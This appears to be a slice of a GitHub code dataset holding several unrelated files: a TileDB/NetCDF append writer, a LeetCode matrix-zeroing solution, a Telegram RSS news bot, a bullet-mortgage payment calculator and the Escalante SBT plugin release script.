be appended:\n * base_ind_stop: _index_ of last value along the named append dimension\n in the base array (`self`)\n * base_dim_stop: last _dimension_ (coord) value along the named append\n dimension in the base array (`self`)\n * dim_step: the difference between two successive _dimension_ (coord) values,\n assumed to be constant throughout the dimension\n * scalar: whether the append dimension is made up of single (scalar) values\n\n \"\"\"\n # Get starting dimension points and offsets.\n base_dim_var = self.data_model.variables[append_dim_name]\n base_dim_points = copy.copy(np.array(base_dim_var[:], ndmin=1))\n scalar_like_dims = self.data_model.length_1_dims + [self._scalar_unlimited]\n if append_dim_name in scalar_like_dims:\n if baseline is None and override_offset is None:\n emsg = 'Cannot determine scalar step without a baseline dataset or defined offset.'\n raise ValueError(emsg)\n base_ind_stop = 0\n base_dim_stop = base_dim_points[0]\n if override_offset is not None:\n dim_step = override_offset\n else:\n dim_step = self._get_scalar_offset(baseline, append_dim_name, base_dim_stop)\n scalar = append_dim_name not in self.data_model.length_1_dims\n else:\n base_dim_start, base_dim_stop, dim_step = _dim_points(base_dim_points)\n _, base_ind_stop = _dim_inds(base_dim_points, [base_dim_start, base_dim_stop])\n scalar = False\n if override_offset is not None:\n dim_step = override_offset\n return int(base_ind_stop), int(base_dim_stop), int(dim_step), scalar\n\n def append(self, others, append_dims, data_array_name,\n baselines=None, override_offsets=None, group=False,\n logfile=None, parallel=False, verbose=False, consolidate=True):\n \"\"\"\n Append extra data as described by the contents of `others` onto\n an existing TileDB array along the axis defined by `append_dim`.\n\n Notes:\n * extends one dimension only\n * cannot create new dimensions, only extend existing dimensions\n * `others` must be str of one or more files to append, not NCDataModel\n\n TODO support multiple axis appends.\n TODO check if there's already data at the write inds and add an overwrite?\n\n \"\"\"\n # Check what sort of thing `others` is.\n if isinstance(others, str):\n others = [others]\n\n if isinstance(append_dims, str):\n append_dims = [append_dims]\n\n # Check all domains for including the append dimension.\n append_dims_set = set(append_dims)\n domain_names = []\n for d in self.domains_mapping.keys():\n domain_dims = d.split(self.domain_separator)\n if not len(append_dims_set - set(domain_dims)):\n domain_names.append(d)\n\n # Determine axes covered by each domain.\n domain_axes = {}\n for name in domain_names:\n domain_path = self.array_path.construct_path(name, '')\n axis_names = name.split(self.domain_separator)\n domain_axes[domain_path] = axis_names\n\n # Calculate base offsets along each append dimension.\n append_offsets = {}\n for append_dim in append_dims:\n baseline = override_offset = None\n if baselines is not None:\n baseline = baselines.get(append_dim, None)\n if override_offsets is not None:\n override_offset = override_offsets.get(append_dim, None)\n append_offsets[append_dim] = self._baseline_append_offsets(\n append_dim, baseline=baseline, override_offset=override_offset)\n\n # Set up logging.\n if logfile is not None:\n logging.basicConfig(filename=logfile,\n level=logging.ERROR,\n format='%(asctime)s %(message)s',\n datefmt='%d/%m/%Y %H:%M:%S')\n\n n_jobs = len(others)\n # Prepare for serialization.\n tdb_config = self.ctx.config().dict() if self.ctx is not None else None\n all_job_args = []\n for ct, other in enumerate(others):\n this_job_args = AppendArgs(other=other, name=data_array_name,\n offsets=append_offsets, axes=domain_axes, group=group,\n mapping=self.domains_mapping, logfile=logfile,\n verbose=verbose, job_number=ct, n_jobs=n_jobs, ctx=tdb_config)\n all_job_args.append(this_job_args)\n\n # Serialize to JSON for network transmission.\n serialized_jobs = map(lambda job: json.dumps(job._asdict()), all_job_args)\n if parallel:\n import dask.bag as db\n bag_of_jobs = db.from_sequence(serialized_jobs)\n bag_of_jobs.map(_make_multiattr_tile_helper).compute()\n else:\n for job_args in serialized_jobs:\n _make_multiattr_tile_helper(job_args)\n\n if consolidate and (n_jobs > 10):\n self._run_consolidate(domain_names, data_array_name, verbose=verbose)\n\n def fill_missing_points(self, fill_dims, verbose=False):\n \"\"\"\n Fill missing points in an append dimension. Missing points can occur if\n an append item is skipped or missing, but missing points trip up the Iris\n reader, as Iris expects monotonic dimension coordinates. The solution is\n to fill missing point values with the values that otherwise should be there.\n\n Specify dims to be filled as a single dimension name (e.g. `time`),\n a list of dimensions to be filled (e.g. `['time', 'height']`), or\n a dictionary of {'dimension_name': constant_offset_value} (e.g. `{'time': 1}`).\n\n .. note::\n Only fills coordinate point values, not missing values in data variables!\n\n \"\"\"\n # Sort types out.\n if isinstance(fill_dims, str):\n fill_dims = [fill_dims]\n if not isinstance(fill_dims, dict):\n fill_dims = {k: None for k in fill_dims}\n\n # Check all domains for including the append dimensions.\n for append_dim_name, offset_value in fill_dims.items():\n for domain_name in self.domains_mapping.keys():\n if append_dim_name in domain_name.split(self.domain_separator):\n coord_array_path = self.array_path.construct_path(domain_name,\n append_dim_name)\n self._fill_missing_points(coord_array_path,\n append_dim_name,\n numeric_step=offset_value,\n verbose=verbose)\n\n# #####\n# Static helper functions.\n# #####\n\n\ndef _array_indices(shape, start_index):\n \"\"\"Set the array indices to write the array data into.\"\"\"\n if isinstance(start_index, int):\n start_index = [start_index] * len(shape)\n\n array_indices = []\n for dim_len, start_ind in zip(shape, start_index):\n array_indices.append(slice(start_ind, dim_len+start_ind))\n return tuple(array_indices)\n\n\ndef write_array(array_filename, data_var,\n start_index=None, scalar=False, ctx=None):\n \"\"\"Write to the array.\"\"\"\n if start_index is None:\n start_index = 0\n if scalar:\n shape = (1,)\n else:\n shape = data_var.shape\n write_indices = _array_indices(shape, start_index)\n else:\n write_indices = start_index\n\n # Write netcdf data var contents into array.\n with tiledb.open(array_filename, 'w', ctx=ctx) as A:\n A[write_indices] = data_var[...]\n\n\ndef write_multiattr_array(array_filename, data_vars,\n start_index=None, scalar=False, ctx=None):\n \"\"\"Write to each attr in the array.\"\"\"\n # Determine shape of items to be written.\n zeroth_key = list(data_vars.keys())[0]\n shape = data_vars[zeroth_key].shape # All data vars *must* have the same shape for writing...\n if scalar:\n shape = (1,) + shape\n\n # Get write indices.\n if start_index is None:\n start_index = 0\n write_indices = _array_indices(shape, start_index)\n else:\n write_indices = start_index\n\n # Check for attrs with no data.\n for name, data_var in data_vars.items():\n if data_var is None:\n # Handle missing data for this attr.\n missing_data = np.empty(shape)\n missing_data.fill(np.nan)\n data_vars[name] = missing_data\n\n # Write netcdf data var contents into array.\n with tiledb.open(array_filename, 'w', ctx=ctx) as A:\n A[write_indices] = {name: data_var[...] for name, data_var in data_vars.items()}\n\n\ndef _dim_inds(dim_points, spatial_inds, offset=0):\n \"\"\"Convert coordinate values to index space.\"\"\"\n return [list(dim_points).index(si) + offset for si in spatial_inds]\n\n\ndef _dim_points(points):\n \"\"\"Convert a dimension variable (coordinate) points to index space.\"\"\"\n points_ndim = points.ndim\n if points_ndim != 1:\n emsg = f\"The append dimension must be 1D, got {points_ndim}D array.\"\n raise ValueError(emsg)\n start, stop = points[0], points[-1]\n step, = np.unique(np.diff(points))\n return start, stop, step\n\n\ndef _dim_offsets(dim_points, self_stop_ind, self_stop, self_step,\n scalar=False):\n \"\"\"\n Calculate the offset along a dimension given by `var_name` between self\n and other.\n\n \"\"\"\n if scalar:\n other_start = dim_points\n spatial_inds = [other_start, other_start] # Fill the nonexistent `stop` with a blank.\n else:\n other_start, other_stop, other_step = _dim_points(dim_points)\n assert self_step == other_step, \"Step between coordinate points is not equal.\"\n spatial_inds = [other_start, other_stop]\n\n points_offset = other_start - self_stop\n inds_offset = int(points_offset / self_step) + self_stop_ind\n\n i_start, _ = _dim_inds(dim_points, spatial_inds, inds_offset)\n return i_start\n\n\ndef _progress_report(fn, job_no, domain_no, n_jobs, n_domains):\n \"\"\"A helpful printout of append progress.\"\"\"\n print(f'Processing {fn}... ({job_no+1}/{n_jobs}, domain {domain_no+1}/{n_domains})', end=\"\\r\")\n\n\ndef _make_multiattr_tile(other_data_model, domain_path, data_array_name,\n var_names, domain_axes, append_offsets,\n do_logging=False, ctx=None):\n \"\"\"Process appending a single tile to `self`, per domain.\"\"\"\n other_data_vars = {}\n for maybe_hashed_name in var_names:\n try:\n other_data_vars[maybe_hashed_name] = other_data_model.variables[maybe_hashed_name]\n except KeyError:\n raise ValueError(f\"No data var {maybe_hashed_name!r}!\")\n\n # Raise an error if no match in data vars between existing array and other_data_model.\n if len(list(other_data_vars.keys())) == 0:\n emsg = \"Variable names in data model [{}] not present in existing array.\"\n raise KeyError(emsg.format(', '.join(other_data_model.data_var_names)))\n\n zeroth_data_var = list(other_data_vars.keys())[0]\n shape = list(other_data_vars[zeroth_data_var].shape)\n\n scalar_shape = 1\n scalar_axes = []\n dim_offsets = []\n append_axes = domain_axes[domain_path]\n for append_dim, (ind_stop, dim_stop, step, scalar_coord) in append_offsets.items():\n other_dim_var = other_data_model.variables[append_dim]\n other_dim_points = np.atleast_1d(other_dim_var[:])\n append_axis = append_axes.index(append_dim)\n\n # Check for the dataset being scalar on the append dimension.\n if append_dim in other_data_model.length_1_dims:\n scalar_coord = True\n elif len(other_dim_points) == 1:\n scalar_coord = True\n scalar_axes.append(append_axis)\n else:\n scalar_coord = False\n\n offset = _dim_offsets(\n other_dim_points, ind_stop, dim_stop, step,\n scalar=scalar_coord)\n dim_offsets.append([append_axis, offset])\n\n # Sort out data shape and offsets for nD data var.\n for axis in scalar_axes:\n shape.insert(axis, scalar_shape)\n offsets = [0] * len(shape)\n for (axis, offset) in dim_offsets:\n offsets[axis] = offset\n offset_inds = _array_indices(shape, offsets)\n\n domain_name = domain_path.split('/')[-1]\n if do_logging:\n logging.error(f'Indices for {other_data_model.netcdf_filename!r} ({domain_name}): {offset_inds}')\n\n # Append the data from other.\n data_array_path = f\"{domain_path}{data_array_name}\"\n write_multiattr_array(data_array_path, other_data_vars,\n start_index=offset_inds, ctx=ctx)\n\n # Append extra dimension points from all append dims in other.\n for append_dim in append_offsets.keys():\n dim_array_path = f\"{domain_path}{append_dim}\"\n other_dim_var = other_data_model.variables[append_dim]\n append_axis = append_axes.index(append_dim)\n scalar_dim = append_axis in scalar_axes\n write_array(dim_array_path, other_dim_var, scalar=scalar_dim,\n start_index=offset_inds[append_axis], ctx=ctx)\n\n\ndef _make_multiattr_tile_helper(serialized_job):\n \"\"\"\n Helper function to collate the processing of each file in a multi-attr append.\n\n \"\"\"\n # Deserialize job args.\n job_args = AppendArgs(**json.loads(serialized_job))\n if job_args.ctx is not None:\n ctx = tiledb.Ctx(config=tiledb.Config(job_args.ctx))\n else:\n ctx = None\n\n do_logging = job_args.logfile is not None\n\n domains_mapping = job_args.mapping\n domain_axes = job_args.axes\n domain_paths = job_args.axes.keys()\n append_offsets = job_args.offsets\n group = job_args.group\n\n # Record what we've processed...\n if do_logging:\n logging.error(f'Processing {job_args.other!r} ({job_args.job_number+1}/{job_args.n_jobs})')\n\n # To improve fault tolerance all the append processing happens in a try/except...\n try:\n if group:\n other_data_model = NCDataModelGroup(job_args.other)\n elif isinstance(job_args.other, NCDataModel):\n other_data_model = job_args.other\n else:\n other_data_model = NCDataModel(job_args.other)\n other_data_model.populate()\n\n with other_data_model.open_netcdf():\n for domain_no, domain_path in enumerate(domain_paths):\n if job_args.verbose:\n _progress_report(\n other_data_model.netcdf_filename,\n job_args.job_number,\n domain_no,\n job_args.n_jobs,\n len(domain_paths)\n )\n\n if domain_path.endswith('/'):\n _, domain_name = os.path.split(domain_path[:-1])\n else:\n _, domain_name = os.path.split(domain_path)\n array_var_names = domains_mapping[domain_name]\n _make_multiattr_tile(other_data_model, domain_path, job_args.name,\n array_var_names, domain_axes, append_offsets,\n do_logging=do_logging, ctx=ctx)\n except Exception as e:\n emsg = f'Could not process {job_args.other!r}. Details:\\n{e}\\n'\n logging.error(emsg, exc_info=True)\n if job_args.logfile is None and job_args.verbose:\n raise\n","repo_name":"informatics-lab/tiledb_netcdf","sub_path":"nctotdb/writers/tiledb.py","file_name":"tiledb.py","file_ext":"py","file_size_in_byte":33795,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"72"} +{"seq_id":"34075972338","text":"'''\n我们用了了O(m+n)的空间来储存0所出现的坐标。可是我们为何不直接用第一行第一列来作为标志,直接标志某行某列是0呢?这就直接不需要任何额外空间了\n\n但是这里有个最致命的问题在于,当0出现在第一行或第一列的时候,如果你直接置0,,整个标志行或列就被置0了,这就会导致标志列混乱!!!\n因此我们要特殊处理标志列。不能随便动。\n为了解决这个问题,我们循环置零的时候不能从0开始,这样第一行和第一列就不会受到影响。\n可这带来一个新的问题,就是如果第一行或者第一列出现了0,我们如何把第一行或者第一列置0?\n我们可以设置两个标志位,表示第一行或者第一列上是否出现了0,我们可以根据这两个值来决定最后是否更新第一行或第一列\n'''\n\nfrom typing import List\nclass Solution:\n def setZeroes(self, matrix: List[List[int]]) -> None:\n x_size = len(matrix)\n if not x_size:\n return\n\n y_size = len(matrix[0])\n first_col = False\n fisrt_row = False\n for x in range(x_size):\n if matrix[x][0] == 0:\n first_col = True\n break\n for y in range(y_size):\n if matrix[0][y] == 0:\n fisrt_row = True\n break\n\n for x, temp in enumerate(matrix):\n for y, value in enumerate(temp):\n if not value:\n matrix[0][y] = 0\n matrix[x][0] = 0\n\n for x in range(1, x_size):\n if not matrix[x][0]:\n for y in range(y_size):\n matrix[x][y] = 0\n\n for y in range(1, y_size):\n if not matrix[0][y]:\n for x in range(x_size):\n matrix[x][y] = 0\n if first_col:\n for x in range(x_size):\n matrix[x][0] = 0\n if fisrt_row:\n for y in range(y_size):\n matrix[0][y] = 0\n\n\n\n\n\nfoo = Solution()\nfoo.setZeroes([[0,1,2,0],[3,4,0,2],[1,3,1,5]])\n\n\n","repo_name":"Allen-C-Guan/Leetcode-Answer","sub_path":"python_part/Leetcode/Array/Mid/73. Set Matrix Zeroes/in_place method.py","file_name":"in_place method.py","file_ext":"py","file_size_in_byte":2119,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"38845783501","text":"from sqlalchemy.orm import sessionmaker\nfrom sqlalchemy import create_engine\nfrom models import News\nimport requests\nfrom xml.etree import ElementTree\nimport re\nfrom bs4 import BeautifulSoup\nimport os\n\nCHAT_ID = os.environ['CHAT_ID']\nBOT = os.environ['BOT']\nengine = create_engine(os.environ['DATABASE_URL'])\nsession = sessionmaker(bind=engine)()\n\n\ndef parse():\n r = requests.get('http://urod.ru/xml/rss.xml')\n root = ElementTree.fromstring(r.content)\n\n for item in root.iter('item'):\n save(item)\n\n\ndef save(item):\n urod_id = int(re.sub('\\D', '', item.find('link').text) or None)\n if not urod_id:\n return\n if session.query(News).get(urod_id):\n return\n soup = BeautifulSoup(item.find('description').text, 'html.parser')\n if soup.img:\n n = News(format='img', text=soup.img['src'])\n elif soup.iframe:\n text = soup.iframe['src']\n if not text:\n text = soup.find('div', {'class': 'spoilerContent'})['data']\n n = News(format='video', text=text)\n elif len(soup.get('greeting', {}).get('text', '').strip()) == 0:\n n = News(format='none', text=None)\n else:\n n = News(format='text', text=soup.greeting.text)\n n.urod_id = urod_id\n n.link = item.find('link').text\n n.title = item.find('title').text\n session.add(n)\n session.commit()\n\n\ndef generate_img(n):\n return {\n 'action': 'sendPhoto',\n 'data': {\n 'photo': n.text,\n 'caption': '%s\\n%s' % (n.title, n.link)\n }\n }\n\n\ndef generate_video(n):\n return {\n 'action': 'sendMessage',\n 'data': {\n 'text': '%s\\n%s\\n%s' % (n.title, n.text, n.link),\n 'parse_mode': 'html'\n }\n }\n\n\ndef generate_none(n):\n return {\n 'action': 'sendMessage',\n 'data': {\n 'text': '*%s*\\n%s' % (n.title, n.link),\n 'parse_mode': 'markdown'\n }\n }\n\n\ndef generate_text(n):\n return {\n 'action': 'sendMessage',\n 'data': {\n 'text': '*%s*\\n%s\\n%s' % (n.title, n.text, n.link),\n 'parse_mode': 'markdown'\n }\n }\n\n\nMETHODS = {\n 'img': generate_img,\n 'video': generate_video,\n 'none': generate_none,\n 'text': generate_text\n}\n\n\ndef send_news():\n limitation = 100\n news = session.query(News).filter(News.send_msg.isnot(True)) \\\n .order_by(News.urod_id)\n for n in news:\n data = METHODS[n.format](n)\n send(data)\n n.send_msg = True\n session.commit()\n count = session.query(News).count()\n if count > limitation:\n q = session.query(News.urod_id).order_by(News.urod_id)\\\n .limit(count - limitation).subquery()\n session.query(News).filter(News.urod_id.in_(q))\\\n .delete(synchronize_session='fetch')\n session.commit()\n\n\ndef send(data):\n data['data']['chat_id'] = CHAT_ID\n url = 'https://api.telegram.org/bot%s/%s' % (BOT, data['action'])\n requests.post(url, data=data['data'])\n\n\nif __name__ == \"__main__\":\n parse()\n send_news()\n","repo_name":"dluhhbiu/urod-parser-2","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3053,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"14842711659","text":"#%%\r\n\"\"\"\r\nCreated on July 05 2021\r\nBullet mortgage- payment profile\r\n\r\nThis code is purely educational and comes from \"Financial Engineering\" course by L.A. Grzelak\r\nThe course is based on the book “Mathematical Modeling and Computation\r\nin Finance: With Exercises and Python and MATLAB Computer Codes”,\r\nby C.W. Oosterlee and L.A. Grzelak, World Scientific Publishing Europe Ltd, 2019.\r\n@author: Lech A. Grzelak and Emanuele Casamassima\r\n\"\"\"\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\ndef Bullet(rate,notional,periods,CPR):\r\n # it returns a matrix M such that\r\n # M = [t notional(t) prepayment(t) notional_quote(t) interest_(t) installment(t)]\r\n # WARNING! here \"rate\" and \"periods\" are quite general, the choice of getting year/month/day.. steps, depends on the rate\r\n # that the function receives. So, it is necessary to pass the correct rate to the function\r\n M = np.zeros((periods + 1,6))\r\n M[:,0] = np.arange(periods + 1) # we define the times\r\n M[0,1] = notional\r\n for t in range(1,periods):\r\n M[t,4] = rate*M[t-1,1] # interest quote\r\n M[t,3] = 0 # repayment, 0 for bullet mortgage\r\n scheduled_oustanding = M[t-1,1] - M[t,3]\r\n M[t,2] = scheduled_oustanding * CPR # prepayment\r\n M[t,1] = scheduled_oustanding - M[t,2] # notional(t) = notional(t-1) - (repayment + prepayment)\r\n M[t,5] = M[t,4] + M[t,2] + M[t,3]\r\n \r\n M[periods,4] = rate*M[periods-1,1] # interest quote\r\n M[periods,3] = M[periods-1,1] # notional quote\r\n M[periods,5] = M[periods,4] + M[periods,2] + M[periods,3]\r\n return M\r\n\r\ndef mainCode():\r\n\r\n # Initial notional\r\n N0 = 1000000\r\n \r\n # Interest rates from a bank\r\n r = 0.05\r\n \r\n # Prepayment rate, 0.1 = 10%\r\n Lambda = 0.01\r\n\r\n # For simplicity we assume 1 as unit (yearly payments of mortgage)\r\n T_end = 30\r\n M = Bullet(r,N0,T_end,Lambda)\r\n \r\n for i in range(0,T_end+1):\r\n print(\"Ti={0}, Notional={1:.0f}, Prepayment={2:.0f}, Notional Repayment={3:.0f}, Interest Rate={4:.0f}, Installment={5:.0f} \".format(M[i,0],M[i,1],M[i,2],M[i,3],M[i,4],M[i,5]))\r\n \r\n plt.figure(1)\r\n plt.plot(M[:,0],M[:,1],'-r')\r\n plt.grid()\r\n plt.xlabel('time')\r\n plt.ylabel('notional')\r\n \r\n return 0.0\r\n\r\nmainCode()\r\n \r\n ","repo_name":"LechGrzelak/FinancialEngineering_IR_xVA","sub_path":"Lecture 08-Mortgages and Prepayments/Materials/BulletMortgage.py","file_name":"BulletMortgage.py","file_ext":"py","file_size_in_byte":2335,"program_lang":"python","lang":"en","doc_type":"code","stars":148,"dataset":"github-code","pt":"72"} +{"seq_id":"14992122507","text":"import re\nimport sys\nimport os\nfrom multiprocessing import Process\nfrom utils import *\nfrom xml.etree.ElementTree import ElementTree\n\n#noinspection PyBroadException\ntry:\n from argparse import ArgumentParser\nexcept:\n prettyprint('''\n Welcome to the Escalante SBT Plugin Release Script.\n This release script requires that you use at least Python 2.7.0.\n It appears that you do not have the collections.Counter available,\n which are available by default in Python 2.7.0.\n ''', Levels.FATAL)\n sys.exit(1)\n\nmodules = []\nuploader = None\ngit = None\n\n\ndef help_and_exit():\n prettyprint('''\n Welcome to the Escalante SBT Plugin Release Script.\n \n%s Usage:%s\n \n $ bin/release.py -e \n \n%s E.g.,%s\n \n $ bin/release.py 0.1.0 -e 0.2.0 %s<-- this will tag off master.%s\n \n ''' % (\n Colors.yellow(), Colors.end_color(), Colors.yellow(), Colors.end_color(),\n Colors.green(), Colors.end_color()),\n Levels.INFO)\n sys.exit(0)\n\n\ndef validate_version(version):\n version_pattern = get_version_pattern()\n if version_pattern.match(version):\n return version.strip().upper()\n else:\n prettyprint(\"Invalid version '\" + version + \"'!\\n\", Levels.FATAL)\n help_and_exit()\n\n\ndef switch_to_tag_release(branch):\n if git.remote_branch_exists():\n git.switch_to_branch()\n git.create_tag_branch()\n else:\n prettyprint(\n \"Branch %s cannot be found on upstream repository. Aborting!\"\n % branch, Levels.FATAL)\n sys.exit(100)\n\ndef get_build_sbt_files_to_patch(working_dir):\n # Look for build.sbt files\n build_sbt_to_patch = []\n # Skip root build.sbt file which is treated differently\n skip = [working_dir + \"/build.sbt\"]\n for build_sbt_file in GlobDirectoryWalker(working_dir, 'build.sbt'):\n if build_sbt_file not in skip:\n build_sbt_to_patch.append(build_sbt_file)\n\n return build_sbt_to_patch\n\n\ndef update_version(base_dir, version):\n os.chdir(base_dir)\n build_sbt = \"./build.sbt\"\n readme_md = \"./README.md\"\n\n pieces = re.compile('[\\.\\-]').split(version)\n\n # 1. Update SBT plugin and Escalante versions in root build file\n f_in = open(build_sbt)\n f_out = open(build_sbt + \".tmp\", \"w\")\n re_version = re.compile('\\s*version := ')\n try:\n for l in f_in:\n if re_version.match(l):\n prettyprint(\"Update %s to version %s\"\n % (build_sbt, version), Levels.DEBUG)\n f_out.write('version := \"%s\"\\n' % version)\n else:\n f_out.write(l)\n finally:\n f_in.close()\n f_out.close()\n\n # 2. Update SBT plugin versions in test files and README file\n require_version_update = get_build_sbt_files_to_patch(base_dir)\n require_version_update.insert(0, readme_md)\n update_sbt_plugin_version(version, require_version_update)\n\n # Rename back build.sbt\n os.rename(build_sbt + \".tmp\", build_sbt)\n\n # Now make sure this goes back into the repository.\n git.commit(require_version_update,\n \"'Release Script: update SBT plugin version %s'\" % version)\n\n # And return the next version - currently unused\n return pieces[0] + '.' + str(int(pieces[1]) + 1) + '.' + '0-SNAPSHOT'\n\ndef update_sbt_plugin_version(version, require_version_update):\n for f in require_version_update:\n f_in = open(f)\n f_out = open(f + \".tmp\", \"w\")\n re_version = re.compile('\\s*addSbtPlugin\\\\(\"io.escalante.sbt\"')\n try:\n for l in f_in:\n if re_version.match(l):\n prettyprint(\"Update %s to version %s\"\n % (f, version), Levels.DEBUG)\n f_out.write(\n ' addSbtPlugin(\"io.escalante.sbt\" %% \"sbt-escalante\" %% \"%s\")\\n'\n % version)\n else:\n f_out.write(l)\n finally:\n f_in.close()\n f_out.close()\n prettyprint(\"Rename back %s\" % f, Levels.DEBUG)\n os.rename(f + \".tmp\", f)\n\ndef update_escalante_version(base_dir, escalante_version):\n os.chdir(base_dir)\n build_sbt = \"./build.sbt\"\n readme_md = \"./README.md\"\n plugin_scala = \"./src/main/scala/io/escalante/sbt/EscalantePlugin.scala\"\n\n pieces = re.compile('[\\.\\-]').split(escalante_version)\n\n # 1. Update SBT plugin and Escalante versions in root build file\n f_in = open(build_sbt)\n f_out = open(build_sbt + \".tmp\", \"w\")\n re_esc_version = re.compile('\\s*\\\"io.escalante\\\" ')\n try:\n for l in f_in:\n if re_esc_version.match(l):\n prettyprint(\"Update %s to Escalante version %s\"\n % (build_sbt, escalante_version), Levels.DEBUG)\n f_out.write(' \"io.escalante\" %% \"escalante-dist\" %% \"%s\" artifacts(Artifact(\"escalante-dist\", \"zip\", \"zip\")),\\n'\n % escalante_version)\n else:\n f_out.write(l)\n finally:\n f_in.close()\n f_out.close()\n\n # 2. Update versions in README file\n update_escalante_version_readme(escalante_version, readme_md)\n\n # 3. Update versions in Escalante plugin Scala class\n f_in = open(plugin_scala)\n f_out = open(plugin_scala + \".tmp\", \"w\")\n re_esc_version = re.compile('\\s*escalanteVersion :=')\n try:\n for l in f_in:\n if re_esc_version.match(l):\n prettyprint(\"Update %s to Escalante version %s\"\n % (build_sbt, escalante_version), Levels.DEBUG)\n f_out.write(' escalanteVersion := \"%s\",\\n' % escalante_version)\n else:\n f_out.write(l)\n finally:\n f_in.close()\n f_out.close()\n\n modified_files = [build_sbt, readme_md, plugin_scala]\n os.rename(build_sbt + \".tmp\", build_sbt)\n os.rename(plugin_scala + \".tmp\", plugin_scala)\n\n # Now make sure this goes back into the repository.\n git.commit(modified_files,\n \"'Release Script: update Escalante version %s'\" % escalante_version)\n\n # And return the next version - currently unused\n return pieces[0] + '.' + str(int(pieces[1]) + 1) + '.' + '0-SNAPSHOT'\n\ndef update_escalante_version_readme(escalante_version, readme_md):\n f_in = open(readme_md)\n f_out = open(readme_md + \".tmp\", \"w\")\n re_esc_version = re.compile('\\s*\\* `escalanteVersion')\n try:\n for l in f_in:\n if re_esc_version.match(l):\n prettyprint(\"Update Escalante version %s\"\n % escalante_version, Levels.DEBUG)\n f_out.write('* `escalanteVersion := \"%s\"`\\n' % escalante_version)\n else:\n f_out.write(l)\n finally:\n f_in.close()\n f_out.close()\n # Rename back\n os.rename(readme_md + \".tmp\", readme_md)\n\ndef get_module_name(pom_file):\n tree = ElementTree()\n tree.parse(pom_file)\n return tree.findtext(\"./{%s}artifactId\" % maven_pom_xml_namespace)\n\n\ndef do_task(target, args, async_processes):\n if settings.multi_threaded:\n async_processes.append(Process(target=target, args=args))\n else:\n target(*args)\n\n### This is the starting place for this script.\ndef release():\n global settings\n global uploader\n global git\n assert_python_minimum_version(2, 5)\n\n parser = ArgumentParser()\n parser.add_argument('-d', '--dry-run', action='store_true', dest='dry_run',\n help=\"release dry run\", default=False)\n parser.add_argument('-v', '--verbose', action='store_true', dest='verbose',\n help=\"verbose logging\", default=True)\n parser.add_argument('-n', '--non-interactive', action='store_true',\n dest='non_interactive',\n help=\"non interactive script\", default=False)\n parser.add_argument('-e', '--escalante-version', action='store', dest='escalante_version',\n help=\"escalante version\")\n parser.add_argument('-x', '--next-version', action='store', dest='next_version',\n help=\"next sbt plugin version\")\n\n # TODO Add branch...\n (settings, extras) = parser.parse_known_args()\n if len(extras) == 0:\n prettyprint(\"No release version given\", Levels.FATAL)\n sys.exit(1)\n\n version = extras[0]\n interactive = not settings.non_interactive\n\n base_dir = os.getcwd()\n branch = \"master\"\n\n escalante_version = settings.escalante_version\n if escalante_version is None:\n prettyprint(\"No Escalante version given\", Levels.FATAL)\n sys.exit(1)\n\n# next_version = settings.next_version\n# if next_version is None:\n# proceed = input_with_default(\n# 'No next SBT plugin version given! Are you sure you want to proceed?', 'N')\n# if not proceed.upper().startswith('Y'):\n# prettyprint(\"... User Abort!\", Levels.WARNING)\n# sys.exit(1)\n\n prettyprint(\n \"Releasing Escalante SBT Plugin version %s for Escalante version %s from branch '%s'\"\n % (version, escalante_version, branch), Levels.INFO)\n\n if interactive:\n sure = input_with_default(\"Are you sure you want to continue?\", \"N\")\n if not sure.upper().startswith(\"Y\"):\n prettyprint(\"... User Abort!\", Levels.WARNING)\n sys.exit(1)\n\n prettyprint(\"OK, releasing! Please stand by ...\", Levels.INFO)\n\n ## Set up network interactive tools\n if settings.dry_run:\n # Use stubs\n prettyprint(\n \"*** This is a DRY RUN. No changes will be committed. Used to test this release script only. ***\"\n , Levels.DEBUG)\n prettyprint(\"Your settings are %s\" % settings, Levels.DEBUG)\n uploader = DryRunUploader()\n else:\n prettyprint(\"*** LIVE Run ***\", Levels.DEBUG)\n prettyprint(\"Your settings are %s\" % settings, Levels.DEBUG)\n uploader = Uploader(settings)\n\n git = Git(branch, version, settings)\n if interactive and not git.is_upstream_clone():\n proceed = input_with_default(\n 'This is not a clone of an %supstream%s Escalante SBT plugin repository! Are you sure you want to proceed?' % (\n Colors.UNDERLINE, Colors.END), 'N')\n if not proceed.upper().startswith('Y'):\n prettyprint(\"... User Abort!\", Levels.WARNING)\n sys.exit(1)\n\n ## Release order:\n # Step 1: Tag in Git\n prettyprint(\"Step 1: Tagging %s in git as %s\" % (branch, version), Levels.INFO)\n switch_to_tag_release(branch)\n prettyprint(\"Step 1: Complete\", Levels.INFO)\n\n # Step 2: Update version in tagged files\n prettyprint(\"Step 2: Updating version number\", Levels.INFO)\n update_version(base_dir, version)\n update_escalante_version(base_dir, escalante_version)\n prettyprint(\"Step 2: Complete\", Levels.INFO)\n\n # Step 3: Build and test in SBT\n prettyprint(\"Step 3: Build and publish\", Levels.INFO)\n build_publish(settings)\n prettyprint(\"Step 3: Complete\", Levels.INFO)\n\n async_processes = []\n\n ## Wait for processes to finish\n for p in async_processes:\n p.start()\n\n for p in async_processes:\n p.join()\n\n ## Tag the release\n git.tag_for_release()\n\n if not settings.dry_run:\n git.push_tags_to_origin()\n git.cleanup()\n\n # Set master README versions with latest released ones\n update_sbt_plugin_version(version, [\"./README.md\"])\n update_escalante_version_readme(escalante_version, \"./README.md\")\n\n git.commit([\"./README.md\"],\n \"'Release Script: update README file in master to last released version=%s and escalanteVersion=%s'\"\n % (version, escalante_version))\n git.push_master_to_origin()\n else:\n prettyprint(\n \"In dry-run mode. Not pushing tag to remote origin and not removing temp release branch %s.\" % git.working_branch\n , Levels.DEBUG)\n\n# # Update master with next version\n# next_version = settings.next_version\n# if next_version is not None:\n# # Update to next version\n# prettyprint(\"Step 4: Updating version number for next release\", Levels.INFO)\n# update_version(base_dir, next_version)\n# git.push_master_to_origin()\n# prettyprint(\"Step 4: Complete\", Levels.INFO)\n\n\nif __name__ == \"__main__\":\n release()\n","repo_name":"escalante/sbt-escalante","sub_path":"release.py","file_name":"release.py","file_ext":"py","file_size_in_byte":12507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72835490153","text":"# -*- coding: 